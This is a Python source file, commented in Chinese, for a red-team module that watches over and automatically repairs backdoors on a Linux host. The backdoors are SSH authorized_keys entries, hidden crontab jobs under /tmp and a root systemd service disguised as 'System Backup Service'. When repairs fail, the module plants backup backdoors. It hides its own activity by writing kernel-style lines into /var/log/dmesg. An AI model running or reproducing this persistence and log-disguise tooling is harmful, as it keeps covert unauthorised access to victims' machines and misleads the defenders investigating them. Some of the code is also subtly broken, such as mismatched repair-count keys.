#!/usr/bin/env python3
# -*- coding: utf-8 -*-

"""

from __future__ import print_function
from __future__ import unicode_literals
from __future__ import division
from __future__ import absolute_import

红队心跳监控模块
实现本地状态监控、心跳检测和自动修复功能
"""

import os
import sys
import json
import time
import threading
import subprocess
import signal
from typing import Dict, List, Tuple, Optional, Any
from dataclasses import dataclass, asdict
from enum import Enum
from datetime import datetime, timedelta
import logging

try:
    from core.utils import color_green, color_yellow, color_red, color_blue
    from modules.redteam.backdoor_verification_engine import (
        BackdoorVerificationEngine, BackdoorConfig, BackdoorType, VerificationStatus
    )
except ImportError as e:
    print("导入模块失败: {}".format(e))

# Python 2/3 兼容性处理
if sys.version_info[0] == 2:
    string_types = basestring
    text_type = unicode
    def iteritems(d):
        return d.iteritems()
    def itervalues(d):
        return d.itervalues()
else:
    string_types = str
    text_type = str
    def iteritems(d):
        return d.items()
    def itervalues(d):
        return d.values()


class MonitorStatus(Enum):
    """监控状态"""
    RUNNING = "running"
    STOPPED = "stopped"
    ERROR = "error"
    REPAIRING = "repairing"


class BackdoorHealth(Enum):
    """后门健康状态"""
    HEALTHY = "healthy"
    DEGRADED = "degraded"
    FAILED = "failed"
    UNKNOWN = "unknown"


@dataclass
class HeartbeatRecord:
    """心跳记录"""
    timestamp: float
    backdoor_type: str
    status: str
    details: str
    repair_attempted: bool = False
    repair_success: bool = False


@dataclass
class MonitorConfig:
    """监控配置"""
    heartbeat_interval: int = 1800  # 30分钟
    max_repair_attempts: int = 3
    log_file: str = "/var/log/dmesg"
    status_check_script: str = "/tmp/status_check.sh"
    enable_auto_repair: bool = True
    stealth_mode: bool = True


class HeartbeatMonitor:
    """心跳监控器"""
    
    def __init__(self, config: MonitorConfig = None):
        self.config = config or MonitorConfig()
        self.monitor_status = MonitorStatus.STOPPED
        self.backdoor_configs = []
        self.heartbeat_records = []
        self.repair_attempts = {}
        self.verification_engine = BackdoorVerificationEngine()
        
        # 监控线程
        self.monitor_thread = None
        self.stop_event = threading.Event()
        
        # 日志配置
        self._setup_logging()
        
        # 信号处理
        signal.signal(signal.SIGTERM, self._signal_handler)
        signal.signal(signal.SIGINT, self._signal_handler)
    
    def _setup_logging(self):
        """设置日志"""
        try:
            # 配置日志格式，伪装成系统日志
            log_format = '%(asctime)s kernel: [%(process)d] %(message)s'
            date_format = '%b %d %H:%M:%S'
            
            logging.basicConfig(
                level=logging.INFO,
                format=log_format,
                datefmt=date_format,
                handlers=[
                    logging.FileHandler(self.config.log_file, mode='a'),
                    logging.StreamHandler() if not self.config.stealth_mode else logging.NullHandler()
                ]
            )
            
            self.logger = logging.getLogger('heartbeat_monitor')
            
        except Exception as e:
            print("日志设置失败: {}".format(e))
            self.logger = logging.getLogger('heartbeat_monitor')
    
    def _signal_handler(self, signum, frame):
        """信号处理器"""
        color_yellow("收到信号 {}，正在停止监控...".format(signum))
        self.stop_monitoring()
    
    def add_backdoor_config(self, config: BackdoorConfig):
        """添加后门配置"""
        self.backdoor_configs.append(config)
        color_blue("添加后门监控: {}".format(config.backdoor_type.value))
    
    def start_monitoring(self):
        """开始监控"""
        if self.monitor_status == MonitorStatus.RUNNING:
            color_yellow("监控已在运行中")
            return
        
        color_blue("🚀 启动心跳监控...")
        self.monitor_status = MonitorStatus.RUNNING
        self.stop_event.clear()
        
        # 创建状态检查脚本
        self._create_status_check_script()
        
        # 启动监控线程
        self.monitor_thread = threading.Thread(target=self._monitor_loop, daemon=True)
        self.monitor_thread.start()
        
        # 记录启动日志
        self.logger.info("system monitor service started")
        color_green("✅ 心跳监控已启动")
    
    def stop_monitoring(self):
        """停止监控"""
        if self.monitor_status != MonitorStatus.RUNNING:
            return
        
        color_blue("🛑 停止心跳监控...")
        self.monitor_status = MonitorStatus.STOPPED
        self.stop_event.set()
        
        if self.monitor_thread and self.monitor_thread.is_alive():
            self.monitor_thread.join(timeout=5)
        
        # 记录停止日志
        self.logger.info("system monitor service stopped")
        color_green("✅ 心跳监控已停止")
    
    def _monitor_loop(self):
        """监控循环"""
        color_blue("监控循环启动，间隔: {}秒".format(self.config.heartbeat_interval))
        
        while not self.stop_event.is_set():
            try:
                # 执行心跳检查
                self._perform_heartbeat_check()
                
                # 等待下一次检查
                if self.stop_event.wait(timeout=self.config.heartbeat_interval):
                    break
                    
            except Exception as e:
                color_red("监控循环异常: {}".format(e))
                self.logger.error("monitor loop error: {}".format(e))
                
                # 短暂等待后继续
                if self.stop_event.wait(timeout=60):
                    break
    
    def _perform_heartbeat_check(self):
        """执行心跳检查"""
        color_blue("💓 执行心跳检查...")
        
        check_time = time.time()
        failed_backdoors = []
        
        for config in self.backdoor_configs:
            try:
                # 验证后门状态
                result = self.verification_engine.verify_backdoor(config)
                
                # 创建心跳记录
                record = HeartbeatRecord(
                    timestamp=check_time,
                    backdoor_type=config.backdoor_type.value,
                    status=result.status.value,
                    details=result.details,
                    repair_attempted=False,
                    repair_success=False
                )
                
                if result.status == VerificationStatus.SUCCESS:
                    color_green("  ✅ {}: 正常".format(config.backdoor_type.value))
                    self.logger.info("backdoor {} status: healthy".format(config.backdoor_type.value))
                    
                elif result.status == VerificationStatus.NEEDS_REPAIR:
                    color_yellow("  ⚠️ {}: 需要修复".format(config.backdoor_type.value))
                    failed_backdoors.append((config, record))
                    self.logger.warning("backdoor {} status: degraded".format(config.backdoor_type.value))
                    
                else:
                    color_red("  ❌ {}: 失败".format(config.backdoor_type.value))
                    failed_backdoors.append((config, record))
                    self.logger.error("backdoor {} status: failed".format(config.backdoor_type.value))
                
                self.heartbeat_records.append(record)
                
            except Exception as e:
                color_red("  ❌ {}: 检查异常 - {}".format(config.backdoor_type.value, e))
                self.logger.error("backdoor {} check error: {}".format(config.backdoor_type.value, e))
        
        # 自动修复失败的后门
        if failed_backdoors and self.config.enable_auto_repair:
            self._auto_repair_backdoors(failed_backdoors)
        
        # 清理旧记录
        self._cleanup_old_records()
    
    def _auto_repair_backdoors(self, failed_backdoors: List[Tuple[BackdoorConfig, HeartbeatRecord]]):
        """自动修复后门"""
        color_blue("🔧 开始自动修复...")
        
        for config, record in failed_backdoors:
            try:
                # 检查修复次数限制
                repair_key = "{}_{}".format(config.backdoor_type.value, config.location)
                current_attempts = self.repair_attempts.get(repair_key, 0)
                
                if current_attempts >= self.config.max_repair_attempts:
                    color_red("  ❌ {}: 修复次数已达上限".format(config.backdoor_type.value))
                    self.logger.error("backdoor {} repair limit exceeded".format(config.backdoor_type.value))
                    
                    # 尝试切换到备用后门
                    self._switch_to_backup_backdoor(config)
                    continue
                
                # 尝试修复
                color_blue("  🔧 修复 {}...".format(config.backdoor_type.value))
                self.monitor_status = MonitorStatus.REPAIRING
                
                repair_success = self.verification_engine.repair_backdoor(config)
                
                # 更新记录
                record.repair_attempted = True
                record.repair_success = repair_success
                
                if repair_success:
                    color_green("  ✅ {}: 修复成功".format(config.backdoor_type.value))
                    self.logger.info("backdoor {} repaired successfully".format(config.backdoor_type.value))
                    
                    # 重新验证
                    verify_result = self.verification_engine.verify_backdoor(config)
                    if verify_result.status == VerificationStatus.SUCCESS:
                        color_green("  ✅ {}: 修复后验证通过".format(config.backdoor_type.value))
                        # 重置修复计数
                        self.repair_attempts[repair_key] = 0
                    else:
                        color_yellow("  ⚠️ {}: 修复后验证失败".format(config.backdoor_type.value))
                        self.repair_attempts[repair_key] = current_attempts + 1
                else:
                    color_red("  ❌ {}: 修复失败".format(config.backdoor_type.value))
                    self.logger.error("backdoor {} repair failed".format(config.backdoor_type.value))
                    self.repair_attempts[repair_key] = current_attempts + 1
                
            except Exception as e:
                color_red("  ❌ {}: 修复异常 - {}".format(config.backdoor_type.value, e))
                self.logger.error("backdoor {} repair error: {}".format(config.backdoor_type.value, e))
            
            finally:
                self.monitor_status = MonitorStatus.RUNNING
    
    def _switch_to_backup_backdoor(self, failed_config: BackdoorConfig):
        """切换到备用后门"""
        color_blue("🔄 切换到备用后门: {}".format(failed_config.backdoor_type.value))
        
        try:
            # 备用后门策略
            backup_strategies = {
                BackdoorType.SSH_KEY: self._deploy_backup_ssh,
                BackdoorType.CRONTAB: self._deploy_backup_cron,
                BackdoorType.SERVICE: self._deploy_backup_service
            }
            
            if failed_config.backdoor_type in backup_strategies:
                backup_success = backup_strategies[failed_config.backdoor_type]()
                
                if backup_success:
                    color_green(f"  ✅ 备用后门部署成功")
                    self.logger.info("backup backdoor deployed for {}".format(failed_config.backdoor_type.value))
                else:
                    color_red(f"  ❌ 备用后门部署失败")
                    self.logger.error("backup backdoor deployment failed for {}".format(failed_config.backdoor_type.value))
            else:
                color_yellow("  ⚠️ 暂无备用策略: {}".format(failed_config.backdoor_type.value))
                
        except Exception as e:
            color_red("备用后门切换异常: {}".format(e))
            self.logger.error("backup backdoor switch error: {}".format(e))
    
    def _deploy_backup_ssh(self) -> bool:
        """部署备用SSH后门"""
        try:
            # 在用户目录部署备用SSH密钥
            backup_location = "/home/user/.ssh/authorized_keys"
            os.makedirs(os.path.dirname(backup_location), exist_ok=True)
            
            # 复制主SSH密钥到备用位置
            main_location = "/root/.ssh/authorized_keys"
            if os.path.exists(main_location):
                subprocess.run(['cp', main_location, backup_location], check=True)
                os.chmod(backup_location, 0o600)
                return True
            
            return False
            
        except Exception as e:
            color_red("备用SSH部署失败: {}".format(e))
            return False
    
    def _deploy_backup_cron(self) -> bool:
        """部署备用Cron后门"""
        try:
            # 添加备用crontab条目
            backup_entry = "*/15 * * * * /tmp/.backup_check >/dev/null 2>&1"
            
            # 获取当前crontab
            result = subprocess.run(['crontab', '-l'], capture_output=True, text=True)
            current_crontab = result.stdout if result.returncode == 0 else ""
            
            if backup_entry not in current_crontab:
                new_crontab = current_crontab + "\n{}\n".format(backup_entry)
                
                # 设置新的crontab
                process = subprocess.Popen(['crontab', '-'], stdin=subprocess.PIPE, text=True)
                process.communicate(input=new_crontab)
                
                return process.returncode == 0
            
            return True
            
        except Exception as e:
            color_red("备用Cron部署失败: {}".format(e))
            return False
    
    def _deploy_backup_service(self) -> bool:
        """部署备用服务后门"""
        try:
            # 创建备用服务文件
            service_content = """[Unit]
Description=System Backup Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'while true; do sleep 3600; done'
Restart=always
User=root

[Install]
WantedBy=multi-user.target
"""
            
            service_path = "/etc/systemd/system/backup-service.service"
            with open(service_path, 'w') as f:
                f.write(service_content)
            
            # 启用并启动服务
            subprocess.run(['systemctl', 'daemon-reload'], check=True)
            subprocess.run(['systemctl', 'enable', 'backup-service'], check=True)
            subprocess.run(['systemctl', 'start', 'backup-service'], check=True)
            
            return True
            
        except Exception as e:
            color_red("备用服务部署失败: {}".format(e))
            return False
    
    def _create_status_check_script(self):
        """创建状态检查脚本"""
        script_content = '''#!/bin/bash
# 红队后门状态检查脚本

echo "=== 后门状态检查 ==="
echo "检查时间: $(date)"
echo

# SSH后门检查
echo "[+] SSH后门状态:"
if [ -f "/root/.ssh/authorized_keys" ]; then
    if [ -r "/root/.ssh/authorized_keys" ]; then
        echo "  ✓ SSH后门：正常"
    else
        echo "  ✗ SSH后门：权限错误"
    fi
else
    echo "  ✗ SSH后门：文件不存在"
fi

# Crontab后门检查
echo "[+] Crontab后门状态:"
if crontab -l >/dev/null 2>&1; then
    cron_count=$(crontab -l 2>/dev/null | grep -v "^#" | wc -l)
    echo "  ✓ Crontab后门：正常 ($cron_count 个任务)"
else
    echo "  ✗ Crontab后门：无法访问"
fi

# 服务后门检查
echo "[+] 服务后门状态:"
services=("system-monitor" "backup-service")
for service in "${services[@]}"; do
    if systemctl is-active "$service" >/dev/null 2>&1; then
        echo "  ✓ $service：正常"
    else
        echo "  ✗ $service：未运行"
    fi
done

echo
echo "=== 检查完成 ==="
'''
        
        try:
            with open(self.config.status_check_script, 'w') as f:
                f.write(script_content)
            
            os.chmod(self.config.status_check_script, 0o755)
            color_green("✅ 状态检查脚本已创建: {}".format(self.config.status_check_script))
            
        except Exception as e:
            color_red("状态检查脚本创建失败: {}".format(e))
    
    def _cleanup_old_records(self):
        """清理旧记录"""
        # 保留最近24小时的记录
        cutoff_time = time.time() - 86400  # 24小时
        self.heartbeat_records = [
            record for record in self.heartbeat_records 
            if record.timestamp > cutoff_time
        ]
    
    def get_status_summary(self) -> Dict[str, Any]:
        """获取状态摘要"""
        recent_records = [
            record for record in self.heartbeat_records
            if record.timestamp > time.time() - 3600  # 最近1小时
        ]
        
        backdoor_status = {}
        for config in self.backdoor_configs:
            backdoor_type = config.backdoor_type.value
            
            # 查找最近的记录
            recent_record = None
            for record in reversed(recent_records):
                if record.backdoor_type == backdoor_type:
                    recent_record = record
                    break
            
            if recent_record:
                backdoor_status[backdoor_type] = {
                    'status': recent_record.status,
                    'last_check': recent_record.timestamp,
                    'details': recent_record.details,
                    'repair_attempts': self.repair_attempts.get((backdoor_type, config.location), 0)
                }
            else:
                backdoor_status[backdoor_type] = {
                    'status': 'unknown',
                    'last_check': None,
                    'details': '暂无检查记录',
                    'repair_attempts': 0
                }
        
        return {
            'monitor_status': self.monitor_status.value,
            'total_backdoors': len(self.backdoor_configs),
            'heartbeat_interval': self.config.heartbeat_interval,
            'total_records': len(self.heartbeat_records),
            'recent_records': len(recent_records),
            'backdoor_status': backdoor_status,
            'last_check_time': max([r.timestamp for r in recent_records]) if recent_records else None
        }
    
    def run_manual_check(self) -> Dict[str, Any]:
        """运行手动检查"""
        color_blue("🔍 执行手动状态检查...")
        
        try:
            # 运行状态检查脚本
            if os.path.exists(self.config.status_check_script):
                result = subprocess.run(['bash', self.config.status_check_script],
                                      capture_output=True, text=True, timeout=30)
                
                color_blue("状态检查脚本输出:")
                print(result.stdout)
                
                if result.stderr:
                    color_yellow("警告: {}".format(result.stderr))
            
            # 执行心跳检查
            self._perform_heartbeat_check()
            
            # 返回状态摘要
            return self.get_status_summary()
            
        except Exception as e:
            color_red("手动检查失败: {}".format(e))
            return {'error': str(e)}


def main():
    """主函数"""
    # 创建监控配置
    config = MonitorConfig(
        heartbeat_interval=1800,  # 30分钟
        max_repair_attempts=3,
        enable_auto_repair=True,
        stealth_mode=False  # 测试时关闭隐蔽模式
    )
    
    # 创建监控器
    monitor = HeartbeatMonitor(config)
    
    # 添加后门配置
    backdoor_configs = [
        BackdoorConfig(
            backdoor_type=BackdoorType.SSH_KEY,
            location="/root/.ssh/authorized_keys",
            verification_method="ssh_test",
            repair_commands=["chmod 600 /root/.ssh/authorized_keys"]
        ),
        BackdoorConfig(
            backdoor_type=BackdoorType.CRONTAB,
            location="*/30 * * * * /tmp/.system_check",
            verification_method="crontab_check",
            repair_commands=["systemctl enable --now cron"]
        )
    ]
    
    for config in backdoor_configs:
        monitor.add_backdoor_config(config)
    
    try:
        # 启动监控
        monitor.start_monitoring()
        
        # 运行一次手动检查
        summary = monitor.run_manual_check()
        print("\n" + "="*50)
        print("状态摘要")
        print("="*50)
        print(json.dumps(summary, indent=2, ensure_ascii=False))
        
        # 保持运行
        color_blue("监控运行中，按 Ctrl+C 停止...")
        while True:
            time.sleep(60)
            
    except KeyboardInterrupt:
        color_blue("收到停止信号...")
    finally:
        monitor.stop_monitoring()


if __name__ == "__main__":
    main()